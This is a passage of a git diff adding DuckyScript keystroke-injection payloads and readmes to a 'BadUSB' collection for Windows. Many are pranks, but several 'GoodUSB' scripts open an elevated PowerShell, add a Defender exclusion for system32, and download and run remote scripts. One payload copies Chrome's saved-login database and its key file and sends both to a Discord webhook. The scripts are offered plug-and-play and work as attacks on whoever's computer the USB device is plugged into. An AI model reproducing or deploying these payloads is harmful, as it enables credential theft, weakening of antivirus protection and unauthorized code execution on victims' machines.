%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random% +ENTER +ENTER +DELAY 100 +STRING goto matrixbynima +ENTER +DELAY 100 +CTRL S +DELAY 200 +REM change %userprofile% to your user or the devices user that your using this on +STRING %userprofile%\Desktop\matrix.bat +ENTER +DELAY 1000 +GUI r +DELAY 100 +STRING cmd +ENTER +DELAY 100 +STRING cd %userprofile%\Desktop\ +ENTER +DELAY 50 +STRING matrix.bat +ENTER +DELAY 1500 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Matrix_Rain_CMD/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Matrix_Rain_CMD/readme.md new file mode 100644 index 0000000..de5ddc6 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Matrix_Rain_CMD/readme.md @@ -0,0 +1,36 @@ + +# Matrix_Rain_CMD +There'll be the matrix rain in the windows cmd. + +## How to use? + +This script is plug and play. + + +## Features + +- open cmd +- write script +- maximize window + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/NoMoreSound/NoMoreSound.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/NoMoreSound/NoMoreSound.txt new file mode 100644 index 0000000..7705a55 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/NoMoreSound/NoMoreSound.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D +REM Description: Mutes windows audio... +REM Version: 1.0 +REM Category: FUN +DELAY 500 +GUI r +DELAY 300 +STRING powershell Start-Process powershell -Verb runAs +DELAY 200 +ENTER +DELAY 600 +LEFTARROW +DELAY 300 +ENTER +DELAY 450 +STRING (new-object -com wscript.shell).SendKeys([char]173) +DELAY 200 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/NoMoreSound/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/NoMoreSound/readme.md new file mode 100644 index 0000000..dc00935 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/NoMoreSound/readme.md @@ -0,0 +1,35 @@ + +# NoMoreSound +Mutes the windows audio. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- mute windows audio + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Rotate_Monitor/monitor_rotation.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Rotate_Monitor/monitor_rotation.txt new file mode 100644 index 0000000..2ccc47c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Rotate_Monitor/monitor_rotation.txt @@ -0,0 +1,16 @@ +REM Author: UNC0V3R3D +REM Description: Uses powershell to rotate the monitor by 90 degrees. +REM Version: 1.0 +REM Category: FUN +DELAY 800 +GUI r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +DELAY 800 +ENTER +DELAY 800 +LEFTARROW +DELAY 800 +ENTER +DELAY 500 +STRING Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/UNC0V3R3D/resources/main/monitor_rotation.ps1").Content diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Rotate_Monitor/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Rotate_Monitor/readme.md new file mode 100644 index 0000000..df3e466 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Rotate_Monitor/readme.md @@ -0,0 +1,31 @@ +# Rotate_Monitor +Uses powershell to rotate the monitor by 90 degrees. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- rotate monitor by 90° + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/WordPrank/WordPrank.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/WordPrank/WordPrank.txt new file mode 100644 index 0000000..5d1a221 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/WordPrank/WordPrank.txt @@ -0,0 +1,37 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Basically changes the Auto-Correction and makes "and" being corrected to "nad". But you can put any word you want. +REM Version: 1.0 +REM Category: FUN +DELAY 2000 +GUI r +DELAY 200 +STRING winword +ENTER +DELAY 1000 +ENTER +DELAY 200 +ALT q +DELAY 300 +STRING options spelling +DELAY 500 +ENTER +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 200 +STRING and +DELAY 200 +TAB +STRING nad +DELAY 200 +ALT a +DELAY 200 +ENTER +DELAY 200 +SHIFT TAB +DELAY 200 +ENTER +DELAY 200 +ALT F4 +DELAY 200 diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/WordPrank/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/WordPrank/readme.md new file mode 100644 index 0000000..6365605 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/WordPrank/readme.md @@ -0,0 +1,38 @@ + +# WordPrank +Basically changes the Auto-Correction and makes "and" being corrected to "nad". But you can put any word you want. + +## How to use? + +This script is not plug and play. You need to the following changes: + +- change first word "STRING and" +- change first word to anything you want "STRING nad" + + +## Features + +- open word +- change auto correction + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/justdance/justdance.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/justdance/justdance.txt new file mode 100644 index 0000000..77cbb7c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/justdance/justdance.txt @@ -0,0 +1,26 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Sets volume to 100% and plays "just dance remix". And yes I know, that the Set-Volume command exists twice. It has to be run twice for it to work. +REM Version: 1.0 +REM Category: FUN +DELAY 700 +GUI r +DELAY 650 +STRING powershell Start-Process powershell -Verb runAs +DELAY 650 +ENTER +DELAY 650 +LEFTARROW +DELAY 650 +ENTER +DELAY 650 +STRING Set-Volume 100; Function Set-Volume { Param([Parameter(Mandatory=$true)][ValidateRange(0,100)][Int]$volume); $keyPresses = [Math]::Ceiling( $volume / 2 ); $obj = New-Object -ComObject WScript.Shell; 1..50 | ForEach-Object { $obj.SendKeys( [char] 174 ) }; for( $i = 0; $i -lt $keyPresses; $i++ ) {$obj.SendKeys( [char] 175 )}; } +DELAY 650 +ENTER +DELAY 650 +STRING Set-Volume 100; Function Set-Volume { Param([Parameter(Mandatory=$true)][ValidateRange(0,100)][Int]$volume); $keyPresses = [Math]::Ceiling( $volume / 2 ); $obj = New-Object -ComObject WScript.Shell; 1..50 | ForEach-Object { $obj.SendKeys( [char] 174 ) }; for( $i = 0; $i -lt $keyPresses; $i++ ) {$obj.SendKeys( [char] 175 )}; } +DELAY 650 +ENTER +DELAY 550 +STRING Start-Process -WindowStyle Hidden "https://www.youtube.com/watch?v=7W9IOhk1-z4" +DELAY 500 +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/justdance/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/justdance/readme.md new file mode 100644 index 0000000..78baacb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/justdance/readme.md @@ -0,0 +1,36 @@ + +# justdance +Sets volume to 100% and plays "just dance remix". And yes I know, that the Set-Volume command exists twice. It has to be run twice for it to work. + +## How to use? + +This script is plug and play. + + +## Features + +- open video +- turn up volume +- maximize window + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Activate_Windows/activate_windows.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Activate_Windows/activate_windows.txt new file mode 100644 index 0000000..32f7ad2 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Activate_Windows/activate_windows.txt @@ -0,0 +1,22 @@ +REM Author: 0xlunar +REM Description: Activate Windows permanently with MAS +REM Version: 1.1 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING irm https://massgrave.dev/get | iex +ENTER +DELAY 4000 +STRING 1 +DELAY 500 +STRING 1 +DELAY 500 +STRING 1 diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Activate_Windows/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Activate_Windows/readme.md new file mode 100644 index 0000000..b1158fe --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Activate_Windows/readme.md @@ -0,0 +1,35 @@ + +# activate_windows +Activates Windows using MAS. + +## How to use? + +This script is plug and play. Note that you may need to change the delay to a higher number. + + +## Features + +- open powershell +- download MAS +- activate Windows + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Bloatware_removal/bloatware_remover.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Bloatware_removal/bloatware_remover.txt new file mode 100644 index 0000000..7a46e55 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Bloatware_removal/bloatware_remover.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Remove bloatware from your windows computer. +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/remove_bloatware_regkeys.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Bloatware_removal/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Bloatware_removal/readme.md new file mode 100644 index 0000000..f7aaf61 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Bloatware_removal/readme.md @@ -0,0 +1,36 @@ + +# Bloatware_remover +Removes useless software from your pc. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- remove bloatware + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Clear_Explorer/clear_explorer.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Clear_Explorer/clear_explorer.txt new file mode 100644 index 0000000..fd3d4c6 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Clear_Explorer/clear_explorer.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Clear last used items in the explorer app. +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/clear_last_used_items.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Clear_Explorer/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Clear_Explorer/readme.md new file mode 100644 index 0000000..670d9a5 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Clear_Explorer/readme.md @@ -0,0 +1,36 @@ + +# clear_explorer +Clears the list of the last used items, that you can see in the explorer app. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- clear list + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Disable_Cortana/disable_cortana.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Disable_Cortana/disable_cortana.txt new file mode 100644 index 0000000..defa13c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Disable_Cortana/disable_cortana.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Disable the really annoying Cortana assistant. +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/disable_cortana.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Disable_Cortana/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Disable_Cortana/readme.md new file mode 100644 index 0000000..4c149c7 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Disable_Cortana/readme.md @@ -0,0 +1,36 @@ + +# disable_cortana +As the title says, this script will remove the Cortana assistant from windows. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- remove cortana + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Enable_Cortana/enable_cortana.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Enable_Cortana/enable_cortana.txt new file mode 100644 index 0000000..f589505 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Enable_Cortana/enable_cortana.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Enables the really annoying Cortana assistant. +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/enable_cortana.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Enable_Cortana/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Enable_Cortana/readme.md new file mode 100644 index 0000000..86080ad --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Enable_Cortana/readme.md @@ -0,0 +1,36 @@ + +# enable_cortana +As the title says, this script will enable the Cortana assistant from windows. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- enable cortana + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/readme.md new file mode 100644 index 0000000..5be07da --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/readme.md @@ -0,0 +1,36 @@ + +# uninstall_onedrive +This script will download a script that will remove the onedrive app from windows. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- remove onedrive + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/uninstall_onedrive.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/uninstall_onedrive.txt new file mode 100644 index 0000000..60b6ba7 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/OneDrive_Removal/uninstall_onedrive.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Uninstalls OneDrive. +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/uninstall_onedrive.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Privacy_Windows/privacy.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Privacy_Windows/privacy.txt new file mode 100644 index 0000000..2f9684c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Privacy_Windows/privacy.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Want to feel the privacy on Windows? +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/privacy.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Privacy_Windows/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Privacy_Windows/readme.md new file mode 100644 index 0000000..cc7d997 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Privacy_Windows/readme.md @@ -0,0 +1,36 @@ + +# privacy +This script will download and execute a large script that removes features that likely do not provide much privacy. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- provide privacy + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Win_Debloater/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Win_Debloater/readme.md new file mode 100644 index 0000000..bcc7a49 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Win_Debloater/readme.md @@ -0,0 +1,36 @@ + +# win_debloat +This script will uninstall unnecessary and potentially useless apps. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- download ps1 script +- delete useless apps + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Win_Debloater/win_debloat.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Win_Debloater/win_debloat.txt new file mode 100644 index 0000000..23a085a --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/GoodUSB/Win_Debloater/win_debloat.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D +REM Description: Debloat windows. +REM Version: 1.0 +REM Category: GoodUSB +DELAY 500 +GUI r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +CTRL-SHIFT ENTER +DELAY 1500 +SHIFT TAB +DELAY 500 +ENTER +DELAY 1500 +STRING Add-MpPreference -ExclusionPath C:\Windows\system32 +ENTER +DELAY 500 +STRING New-Object System.Net.WebClient | %{$_.DownloadFile('https://github.com/UNC0V3R3D/ressources/blob/main/debloat_windows.ps1', 'script.ps1'); Start-Process powershell.exe -Verb runAs -ArgumentList "-File script.ps1"}, exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteMicrosoftStore/DeleteMicrosoftStore.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteMicrosoftStore/DeleteMicrosoftStore.txt new file mode 100644 index 0000000..051e30e --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteMicrosoftStore/DeleteMicrosoftStore.txt @@ -0,0 +1,22 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Deletes the Microsoft Store +REM Version: 1.0 +REM Category: Fun +DELAY 500 +GUI r +DELAY 300 +REM Start PowerShell as Admin +STRING powershell Start-Process powershell -Verb runAs +DELAY 300 +ENTER +DELAY 500 +LEFTARROW +DELAY 450 +ENTER +DELAY 600 +REM Deletes Microsoft Store +STRING Get-AppxPackage *windowsstore*|Remove-AppxPackage +DELAY 200 +ENTER + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteMicrosoftStore/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteMicrosoftStore/readme.md new file mode 100644 index 0000000..e3b659c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteMicrosoftStore/readme.md @@ -0,0 +1,35 @@ + +# DeleteMicrosoftStore +This script will delete the Microsoft Store. + +## How to use? + +This script is plug and play. + + +## Features + +- open powershell +- remove MS store package + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteWindowsMail/DeleteWindowsMail.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteWindowsMail/DeleteWindowsMail.txt new file mode 100644 index 0000000..6dfb649 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/MoreSeriousFUN/DeleteWindowsMail/DeleteWindowsMail.txt @@ -0,0 +1,20 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Deletes the Windows Mail app. +REM Version: 1.0 +REM Category: Fun +DELAY 500 +GUI r +DELAY 300 +REM Start PowerShell as Admin +STRING powershell Start-Process powershell -Verb runAs +DELAY 300 +ENTER +DELAY 500 +LEFTARROW +DELAY 450 +ENTER +DELAY 600 +REM Deletes Windows Mail app +STRING AppxPackage Microsoft.windowscommunicationsapps | Remove-AppxPackage +DELAY 200 +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/chrome_passwords_discord.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/chrome_passwords_discord.txt new file mode 100644 index 0000000..c4c8680 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/chrome_passwords_discord.txt @@ -0,0 +1,26 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Copies the chrome login file and sends it to a discord webhook. +REM Version: 1.0 +REM Category: Passwords +DELAY 500 +WINDOWS d +DELAY 500 +WINDOWS r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 800 +LEFTARROW +ENTER +DELAY 800 +STRING $hookurl='YOUR-DISCORD-WEBHOOK' +DELAY 800 +ENTER +STRING function Upload-Discord {[CmdletBinding()]param([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text)$Body=@{'username'=$env:username;'content'=$text};if (-not([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}if (-not([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}} +ENTER +DELAY 300 +STRING $sourceFile1 = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"; $outputFile1 = "$([System.Environment]::GetFolderPath('Desktop'))\output.txt"; Copy-Item $sourceFile1 $outputFile1; Upload-Discord -file $outputFile1 -text ":)"; Remove-Item $outputFile1; $sourceFile2 = "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State"; $outputFile2 = "$([System.Environment]::GetFolderPath('Desktop'))\key.txt"; Copy-Item $sourceFile2 $outputFile2; Upload-Discord -file $outputFile2 -text "Key-File"; Remove-Item $outputFile2 +ENTER +DELAY 1000 +STRING exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/readme.md new file mode 100644 index 0000000..35322c8 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/ChromePasswords/readme.md @@ -0,0 +1,39 @@ + +# 